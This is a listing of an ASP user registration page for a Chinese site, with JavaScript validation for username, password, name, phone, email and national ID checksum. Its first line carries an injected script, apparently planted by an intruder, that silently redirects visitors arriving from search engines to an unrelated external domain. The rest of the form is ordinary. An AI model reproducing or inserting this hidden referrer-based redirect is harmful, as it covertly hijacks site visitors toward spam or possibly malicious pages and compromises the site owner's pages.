d:\wwwroot\wuchunhua\reg.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="head.asp"-->
002: <script language="JavaScript">
003: function CheckForm()
004: {
005:
006:                    //检查年月日是否是合法日期
007:
008:                    function isdate(intYear,intMonth,intDay){
009:
010:                       if(isNaN(intYear)||isNaN(intMonth)||isNaN(intDay)) return false;    
011:
012:                       if(intMonth>12||intMonth<1) return false;  
013:
014:                       if ( intDay<1||intDay>31)return false;  
015:
016:                       if((intMonth==4||intMonth==6||intMonth==9||intMonth==11)&&(intDay>30)) return false;  
017:
018:                       if(intMonth==2){  
019:
020:                          if(intDay>29) return false;    
021:
022:                          if((((intYear%100==0)&&(intYear%400!=0))||(intYear%4!=0))&&(intDay>28))return false;  
023:
024:                         }  
025:
026:                       return true;  
027:
028:                    }  
029:
030:
031:
032:                    //检查身份证是否是正确格式
033:
034:                    function checkCard(cardid)
035:
036:                    {
037:
038:                        var pattern;
039:
040:                             if (cardid.length==15)
041:
042:                             {
043:
044:                                  pattern= /^\d{15}$/;//正则表达式,15位且全是数字
045:
046:                                  if (pattern.exec(cardid)==null)
047:
048:                                  {
049:
050:                                     alert("15位身份证号码必须为数字!")
051:
052:                                       return false;
053:
054:                                  }
055:
056:                                  if (!isdate("19"+cardid.substring(6,8),cardid.substring(8,10),cardid.substring(10,12)))
057:
058:                                  {
059:
060:                               alert("身份证号码中所含日期不正确")
061:
062:                                  return false;}
063:
064:                                 
065:
066:                             }
067:
068:                             else     if (cardid.length==18)
069:
070:                             {
071:
072:                                  pattern= /^\d{17}(\d|x|X)$/;//正则表达式,18位且前17位全是数字,最后一位只能数字,x,X
073:
074:                                  if (pattern.exec(cardid)==null)
075:
076:                                  {
077:
078:                                             alert("18位身份证号码必须为数字!")
079:
080:                                           return false;
081:
082:                                  }
083:
084:                                  if (!isdate(cardid.substring(6,10),cardid.substring(10,12),cardid.substring(12,14)))
085:
086:                                  {
087:
088:                                         alert("身份证号码中所含日期不正确")
089:
090:                                  return false;
091:
092:                                  }
093:
094:                                  var strJiaoYan  =[  "1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"];
095:
096:                                  var intQuan =[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2, 1];
097:
098:                                  var intTemp=0;
099:
100:                                  for(i = 0; i < cardid.length - 1; i++)
101:
102:                                  intTemp +=  cardid.substring(i, i + 1)  * intQuan[i];  
103:
104:                                  intTemp %= 11;
105:
106:                                  if(cardid.substring(cardid.length - 1,cardid.length).toUpperCase()!=strJiaoYan[intTemp])
107:
108:                                  {
109:
110:                                         alert("身份证末位验证码失败!")
111:
112:                                  return false;
113:
114:                                  }
115:
116:                             }
117:
118:                             else
119:
120:                             {
121:
122:                             alert("身份证号长度必须为15或18!")
123:
124:                             return false;
125:
126:                             }
127:
128:                     return true;  
129:
130:                    }
131: if(document.reg.uid.value.length < 4){
132:       alert("用户名不能低于4位");
133:       document.reg.uid.focus();
134:       return false;
135:    }  
136:   
137:    if (document.reg.pwd.value.length == 0) {
138:       alert("请输入您的密码");
139:       document.reg.pwd.focus();
140:       return false;
141:    }
142:     if(document.reg.pwd.value.length<4){
143:       alert("密码不能低于4位");
144:       document.reg.pwd.focus();
145:       return false;
146:    }  
147:    if (document.reg.checkpwd.value.length == 0) {
148:       alert("请确认您的密码");
149:       document.reg.checkpwd.focus();
150:       return false;
151:    }
152:    if (document.reg.pwd.value != document.reg.checkpwd.value) {
153:       alert("您两次输入的密码不一样!请重新输入");
154:       document.reg.checkpwd.focus();
155:       return false;
156:    }
157:    if (document.reg.UserName.value.length == 0) {
158:       alert("请您填写联系人姓名!");
159:       document.reg.UserName.focus();
160:       return false;
161:    }
162:    var str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./'[]{}`1234567890-=\~!@#$%^&*()_+|?><:";
163:    var errorChar
164:    errorChar = isCharsInBag(reg.UserName.value,str)
165:    if (errorChar != "" )
166:    {
167:       alert('联系人姓名必须是中文!');
168:       reg.UserName.focus();
169:       return false;
170:    }
171: function isCharsInBag (s, bag)
172: {
173: var i,c;
174: for (i = 0; i < s.length; i++)
175: {
176: c = s.charAt(i);//字符串s中的字符
177: if (bag.indexOf(c) > -1)
178: return c;
179: }
180: return "";
181: }
182:    <%if webcardid="1" then%>
183:    if (document.reg.cardid.value.length == 0) {
184:       alert("请填写您的身份证号!");
185:       document.reg.cardid.focus();
186:       return false;
187:    }
188:       if(checkCard(document.reg.cardid.value)==false)
189:       {
190:          document.reg.cardid.focus();
191:          return false;
192:       }
193:       <%end if%>
194:       if (document.reg.tel.value.length <7) {
195:       alert("请输入您的联系电话,不能小于七位数!");
196:       document.reg.tel.focus();
197:       return false;
198:    }
199:
200:       if (document.reg.email.value.length <7) {
201:       alert("请输入您的email");
202:       document.reg.email.focus();
203:       return false;
204:    }  else if ((document.reg.email.value.indexOf("@")<0)||(document.reg.email.value.indexOf(":")!=-1)||(document.reg.email.value.indexOf(".")<0))
205:                 {
206:                         alert("您填写的EMAIL无效!请填写一个有效的EMAIL!");
207:                         document.reg.email.focus();
208:                         return false;
209:      }
210:    if(!isUserID(reg.uid.value))
211:    {
212:       alert(report);
213:       reg.uid.focus();
214:       return false;
215:    }
216:
217:    return true;
218: }
219: </script><body bgcolor="#FFFFFF">
220: <form action="reg_save.asp" name=reg method=post onSubmit="return CheckForm();">      
221:                 
222:   <table width="700"  border="0" align="center" cellpadding="0" cellspacing="0">
223:     <tr>
224:       <td><img src="images/reg-top.gif" width="700" height="59"></td>
225:     </tr>
226:     <tr>
227:       <td height="25">有“<font color="#FF0000">*</font>”的项目必须填写,然后您可以在首页登陆会员中心!</td>
228:     </tr>
229:     <tr>
230:       <td height="20" bgcolor="3399CC">&nbsp;<img src="images/icon_arrow_4.gif" width="8" height="8"><font color="#FFFFFF">&nbsp;用户基本资料</font></td>
231:     </tr>
232:     <tr>
233:       <td><table width="100%"  border="0" cellspacing="0" cellpadding="0">
234:         <tr>
235:           <td width="20%" height="30"> * <strong>用户名(ID) </strong> </td>
236:           <td height="30"><input name=uid id="uid" size=15 maxlength=20>
237:             &nbsp;您的用户名(英文、数字、下划线,2~20个字符)</td>
238:         </tr>
239:         <tr>
240:           <td width="20%" height="30"> * <strong></strong><strong>密码 </strong> </td>
241:           <td height="30"><INPUT name=pwd type=password id="pwd" value=""
242: size=15 maxLength=16>
243:             &nbsp;您的登陆口令(4~16个字符)</td>
244:         </tr>
245:         <tr>
246:           <td width="20%" height="30"> * <strong>再输一遍密码 </strong> </td>
247:           <td height="30"><INPUT name=checkpwd type=password id="checkpwd" value=""
248: size=15 maxLength=16>
249:             &nbsp;确认您的密码</td>
250:         </tr>
251:         <tr>
252:           <td height="30">* <strong>姓名</strong></td>
253:           <td height="30"><INPUT maxLength=10 size=10 name=UserName>
254:             &nbsp;您的真实姓名</td>
255:         </tr>
256:         <tr>
257:           <td width="20%" height="30"> * <strong>联系电话 </strong> </td>
258:           <td height="30"><INPUT name=tel id="tel" value="" size=20 maxLength=20>
259:             &nbsp;您最常用的电话</td>
260:         </tr>
261:         <tr>
262:           <td width="20%" height="30"> * <strong>电子邮件 </strong> </td>
263:           <td height="30"><INPUT name=email id="email" size=30 maxLength=40>
264:             &nbsp;您最常用的Email</td>
265:         </tr>
266:       </table></td>
267:     </tr>
268:     <tr>
269:       <td>&nbsp;</td>
270:     </tr>
271:     <tr>
272:       <td height="20" bgcolor="3399CC">&nbsp;<img src="images/icon_arrow_4.gif" width="8" height="8"><font color="#FFFFFF">&nbsp;其它信息</font></td>
273:     </tr>
274:     <tr>
275:       <td><table width="100%"  border="0" cellspacing="0" cellpadding="0">
276:         <tr>
277:           <td width="20%" height="30"><strong>&nbsp;&nbsp;常用QQ</strong></td>
278:           <td height="30"><INPUT name=qq id="qq" onKeypress="if (event.keyCode < 45 || event.keyCode > 57) event.returnValue = false;" value="" size=18 maxLength=15>
279:             &nbsp;您最常用的QQ号码</td>
280:         </tr>
281:         <tr>
282:           <td width="20%" height="30"><strong>&nbsp;&nbsp;网站地址</strong></td>
283:           <td height="30"><INPUT name=add id="add" value="http://" size=40 maxLength=30></td>
284:         </tr>
285:       </table>
286:         <table width="100%"  border="0" cellspacing="0" cellpadding="0">
287:           <tr>
288:             <td height="40"><div align="center">
289:   <input name="submit" type="submit" id="submit" value="提交注册资料">
290: &nbsp;
291:   <input name="reset" type="reset" id="reset" value="取消">
292: &nbsp; <font color="#A2CCF2"></font>
293:   <input name="back" type="button" id="back" onclick="javascript:history.back()" value="返回">
294:             </div></td>
295:           </tr>
296:         </table></td>
297:     </tr>
298:   </table>
299:   </FORM>
300:
301: <!--#include file="foot.asp"-->
302:
303: